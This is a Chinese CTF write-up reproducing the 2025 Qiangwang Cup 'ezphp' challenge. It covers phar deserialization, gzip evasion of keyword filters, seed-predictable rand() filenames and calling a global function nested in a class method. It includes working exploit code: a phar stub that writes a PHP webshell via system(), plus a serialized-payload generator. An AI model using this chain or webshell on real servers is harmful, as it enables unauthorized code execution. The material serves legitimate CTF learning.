2025强网杯ezphp复现

news/2025/10/27 17:27:30/文章来源:https://www.cnblogs.com/z3xc/p/19169691

ezphp

终于,终于,终于肝出来了,其实肝了一天之后就基本全部出来了,一开始调用在匿名类中的全局函数的这一步卡了很久,于是先跳过这一步,对其他步骤先进行分析复现,到后来就差这最后一步被卡死了,百思不得其解,后来注意到星盟大佬的wp中提到image-20251027154356777

我也意识到可能是我的环境的问题所在,然后开始尝试自己搭建docker,在docker搭建.

唠叨到这里,下面是正式整理我的复现


对于ezphp这题,在比赛的时候只注意到调用匿名类中的全局函数这一考点,但是没想到,还有其他几个考点,我的复现就以考点开始进行

phar反序列化

借用大佬的解释

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

1、Stub //Phar文件头
2、manifest //压缩文件信息
3、contents //压缩文件内容
4、signature //签名

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。

manifest用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://这种,如果这几个特殊字符被过滤就无法实现反序列化

4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

生成phar文件

<?php 
class test{public $name="zxc";function __destruct(){echo $this->name;}
}
$a = new test();
$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("zxc.txt","z3xc");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

image

就会有phartest.phar

而后有

<?php
class test{public $name="";public function __destruct(){eval($this->name);}
}
$phardemo = file_get_contents('phar://phartest.phar/zxc.txt');
echo $phardemo;

image

这就反序列化成功

关于绕过,这里就提到通过压缩绕过关键字的检查

┌──(zxc㉿kali)-[/xp/www/192.168.58.128/phar]
└─$ gzip phartest.phar phartest.phar.gz 

image

就没有__HALT_COMPILER();字样了

之后再进行像这样的包含file_get_contents('phar://phartest.phar.gz/phartest.phar/zxc.txt');

就能成功

可是ezphp中对文件名是使用随机字符进行的命名,也就是说没办法用phar伪协议去读取phar文件,也就没法反序列化,这就要提到一个新的知识点

大佬文章:include_phar

这里解释了关键所在,我就直接讲一下,就是哪怕不用phar伪协议,只要能够名称中,甚至是包含的路径中存在phar字样就能够去反序列化

接下来就是随机数的问题

通过控制随机数的种子从而控制随机数的序列

星盟大佬的wp

关键点就是题目中的rand()和mt_rand()

自php7.1.0起,rand()和mt_rand()使用相同的随机数生成器

<?php
$seed = 123456;
mt_srand($seed); // 设置种子echo "mt_rand sequence: ";
for ($i=0; $i<5; $i++) {echo mt_rand(0, 9) . ' ';
}
echo '<br />';echo "rand sequence: ";
for ($i=0; $i<5; $i++) {echo rand(0, 9) . ' ';
}
?>

无论去运行几次,都是固定这个数

image-20251027164637665

也就能试出假设7 9 7 7 4 对应➡️ phar,而 5 4 0 3 8 就是对应着 ➡️7 9 7 7 4

就能实现文件名可控

调用在匿名类中的全局函数

我们先回忆一下代码是什么样的

一个生成随机字符的函数

然后是一个test类

test类

三个属性

f

key

readflag

有一个__construct()方法

​ __construct()方法中给readflag属性赋予了匿名类

有一个__destruct()方法

            public function readflag() {function readflag() {if (isset($GLOBALS['file'])) {$file = basename($GLOBALS['file']);if (preg_match('/:\/\//', $file)) die("error");$file_content = file_get_contents("uploads/" . $file);if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {die("Illegal content detected in the file.");}include("uploads/" . $file);}}}

我们先要去生成一个对象,让readflag存在,使得全局readflag()函数存在,才能调用全局readflag()函数

也就是说我们得先反序列化一个test,去new $func,使得全局readflag()函数存在,

然后在$func,调用全局readflag()函数,去包含我们构造还得phar包

那怎么去调用呢

<?=eval(base64_decode('Y2xhc3MgdGVzdAp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGVjaG8gJ2J1aWxkIGFueW1vdXMgY2xhc3MnLCBQSFBfRU9MOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkZmxhZygpCiAgICB7CiAgICAgICAgZnVuY3Rpb24gcmVhZGZsYWcyKCkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gJ2ZsYWd7eHh4fScsIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgICRmdW5jID0gJF9HRVRbJ2Z1bmMnXSA9PT0gbnVsbCA/ICdwaHBpbmZvJyA6ICRfR0VUWydmdW5jJ107CiAgICAgICAgJGZ1bmMoKTsKICAgIH0KfQpuZXcgdGVzdCgpOw=='));
// 等效为
class test
{public function __construct(){echo 'build anymous class', PHP_EOL;}public function readflag(){function readflag2(){echo 'flag{xxx}', PHP_EOL;}}public function __destruct(){$func = $_GET['func'] === null ? 'phpinfo' : $_GET['func'];$func();}
}
new test();

image-20251027150847060


正式开始复现

生成phar包

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();$stub = <<<'STUB'
<?phpecho 'zxc', PHP_EOL;//直观的看到到底有没有成功system('echo "<?php system(\$_GET[1]); ?>" > zxc.php');__HALT_COMPILER();
?>
STUB;$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();?>

进行压缩gzip exploit.phar

借用星盟大佬的exp

<?php
function generateRandomString($length = 8)
{$characters = 'abcdefghijklmnopqrstuvwxyz';$randomString = '';for ($i = 0; $i < $length; $i++) {$r = rand(0, strlen($characters) - 1);$randomString .= $characters[$r];}return $randomString;
}
date_default_timezone_set('Asia/Shanghai');class test
{public $readflag;public $f;public $key;
}$readflag=1;
while (true){$time = date('Hi');$seed = $time . intval($readflag);mt_srand($seed);$str = generateRandomString(8);if(substr($str, 0, 4) === 'phar'){echo $readflag, PHP_EOL.'<br />';echo $str, PHP_EOL.'<br />';echo $seed, PHP_EOL.'<br />';break;}else{$readflag++;}
}$test = new test();
$test->readflag = $readflag;
$test->key = 'class';
$test->f = 'test';$test2 = new test();
$test2->readflag = $readflag;
$test2->key = 'func';
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");$exp=serialize(array($test, $test2));
echo $exp, PHP_EOL.'<br />';
?>
<!DOCTYPE html>
<html>
<head><title>File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form action='https://127.0.0.1:8080/index.php?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data"><input type="file" name="file" required><input type="submit" value="Upload">
</form>
</body>
</html>

image-20251027153405570

image-20251027153416240

image-20251027153504026

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947936.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年西安楼房地产排名、口碑推荐榜单、公司推荐排行、开发商排名及高评价楼房地产分析

摘要 随着西安城市化进程加速和房地产市场持续升温,2025年西安楼房地产行业呈现出稳健增长态势,消费者对高品质住宅的需求日益凸显。本文基于行业数据和用户评价,整理了西安楼房地产排名前十的榜单,旨在为购房者提…

漏洞报告被拒绝的常见原因及避免方法

本文深入探讨了在漏洞赏金项目中漏洞报告被拒绝的常见原因,包括报告不清晰、缺乏重现步骤等问题,并提供了实用的改进建议,帮助安全研究人员提高报告质量并获得认可。24. 漏洞报告被拒绝的常见原因(以及如何避免) …

2025年市面上别墅石材品牌、行业内别墅石材公司、市场别墅石材供应商、目前别墅石材源头厂家、口碑好的别墅石材品牌推荐排行榜

摘要 别墅石材行业近年来随着高端住宅市场的蓬勃发展,需求持续增长,消费者对石材的品质、设计和供应商信誉要求越来越高。本文基于2025年市场数据,为您提供一份权威的别墅石材品牌推荐榜单,涵盖市面上热门品牌和供…

Spring AI alibaba Prompt模板Advisor自定义 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

11-文件上传

11-文件上传$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");文件上传和下载的原理文件上传从浏览器上传文件的时候需要对文件进行限制 这个限制是在配置文件…

wqe

wqe报告名称:AR(Active Area Reverse)fin cut工艺业务需求与数据目标报告(深度调研增强版) 版本:V1.2 日期:2025-9-4 编制人:[李晓睿/数字智能部] 审核人:[姓名/部门] 引言 1.1 背景与业务场景项目发起背景(…

集采带量下医疗器械生产厂家如何通过数字化转型实现降本增效

数字化管理系统正在成为医疗器械生产厂家应对集采挑战的“手术刀”,精准切除管理冗余和效率低下的痛点。数字化管理系统正在成为医疗器械生产厂家应对集采挑战的“手术刀”,精准切除管理冗余和效率低下的痛点。 “订…

告别命名误区!深度剖析TurtleBot3 vs. TurtleBot4 开源平台

一. TurtleBot3与TurtleBot4非“前任”与“继任”的关系 在高校机器人科研与教学领域,TurtleBot系列一直是ROS入门与原型验证的热门选择。当TurtleBot4推出后,许多老师不禁产生一个疑问:是否TurtleBot3已经过时?命…

2025年锌铝镁桥架公司、口碑好的锌铝镁桥架品牌、行业内锌铝镁桥架供应商、锌铝镁桥架公司推荐榜、靠谱的锌铝镁桥架供应厂家综合评测

文章摘要 锌铝镁桥架作为电缆敷设的关键组件,在2025年随着基础设施建设和智能电网发展,行业需求持续增长,预计市场规模年复合增长率达8%-10%。本文基于行业数据、用户口碑和公司实力,综合评测前十名锌铝镁桥架供应…

嵌入式基础--第七周作业--OLED显示

一.I2C协议的基本原理和时序协议 一、I2C 协议的基本原理 I2C协议的核心设计思想是用最少的连线实现多个器件之间的通信。它只需要两根线:SDA:串行数据线,用于传输数据。SCL:串行时钟线,用于同步时钟。核心特性 半…

TensorFlow与PyTorch深度对比分析:从基础原理到实战选择的完整指南 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

102302105汪晓红作业1

作业1 作业①:用requests和BeautifulSoup库方法定向爬取给定网址 http://www.shanghairanking.cn/rankings/bcur/2020 的数据,屏幕打印爬取的大学排名信息。 代码与结果 核心代码:点击查看代码#设置headers,模拟浏览…

【IEEE出版 | 重庆邮电大学主办 | 多届次、高层次】第六届人工智能与计算机工程国际学术会议(ICAICE 2025)

第六届人工智能与计算机工程国际学术会议(ICAICE 2025)将于2025年11月7-9日在重庆召开。【早鸟优惠、学生优惠、团队优惠、学生友好】 【重庆邮电大学主办|多届次、高层次】 第六届人工智能与计算机工程国际学术会议…

普通幂转下降幂

一个 trick。更新日志 2025/10/27:开工。概念 一个小 trick,利用第二类斯特林数将普通幂转化成下降幂。 思路 \[v^k=\sum_{i=0}^{\min(v,k)} {k\brace i}v^{\underline{i}}=\sum_{i=0}^{\min(v,k)}{k\brace i}\binom…

解决Java项目在复杂网络环境下访问外网不通的问题

解决Java项目在复杂网络环境下访问外网不通的问题 问题描述 在企业内部或本地开发环境中,Java项目经常遇到无法访问外网API或资源的情况。这是由于复杂的网络环境导致的,常见的网络限制包括:防火墙策略限制 代理服务…

私有2.4G无线对讲机方案:BLE芯片+PA芯片

在许多需要团队协作的场景中,清晰、即时、稳定的沟通是效率和安全的关键。传统对讲机笨重、频道申请麻烦;而手机通话则成本高、组群不便,在复杂环境中信号更是堪忧。在商场、仓库、景区等场景中,即时通信的稳定性与…

PyCharm 2024超详细下载安装教程(附安装包+激活教程)超详细图文步骤

目录一、PyCharm 2024 介绍二、PyCharm 2024安装包网盘下载三、PyCharm 2024 安装教程及激活教程1.解压PyCharm 2024安装包2.启动PyCharm 2024安装程序3.点下一步4.选PyCharm 2024安装位置5.勾选PyCharm 2024安装选项6…

发布会回顾|袋鼠云发布多模态数据中台,重构AI时代的数据底座

在AI全面渗透产业的浪潮中,数据平台的能力边界正在被重新定义。在2025袋鼠云秋季数智发布会上,袋鼠云重磅发布“数栈多模态数据中台”,标志着数栈正式完成从结构化数据中台向AI时代“全模态、全场景”的全面升级。袋…

Docker容器里面部署的Jenkins的Java17升级到21版本(无需删除之前容器,内部在线升级) - 攻城狮

发现Jenkins出现了如此提示: Java 17 end of life in JenkinsYou are running Jenkins on Java 17, support for which will end on or after Mar 31, 2026. Refer to the documentation for more details. 原因是ja…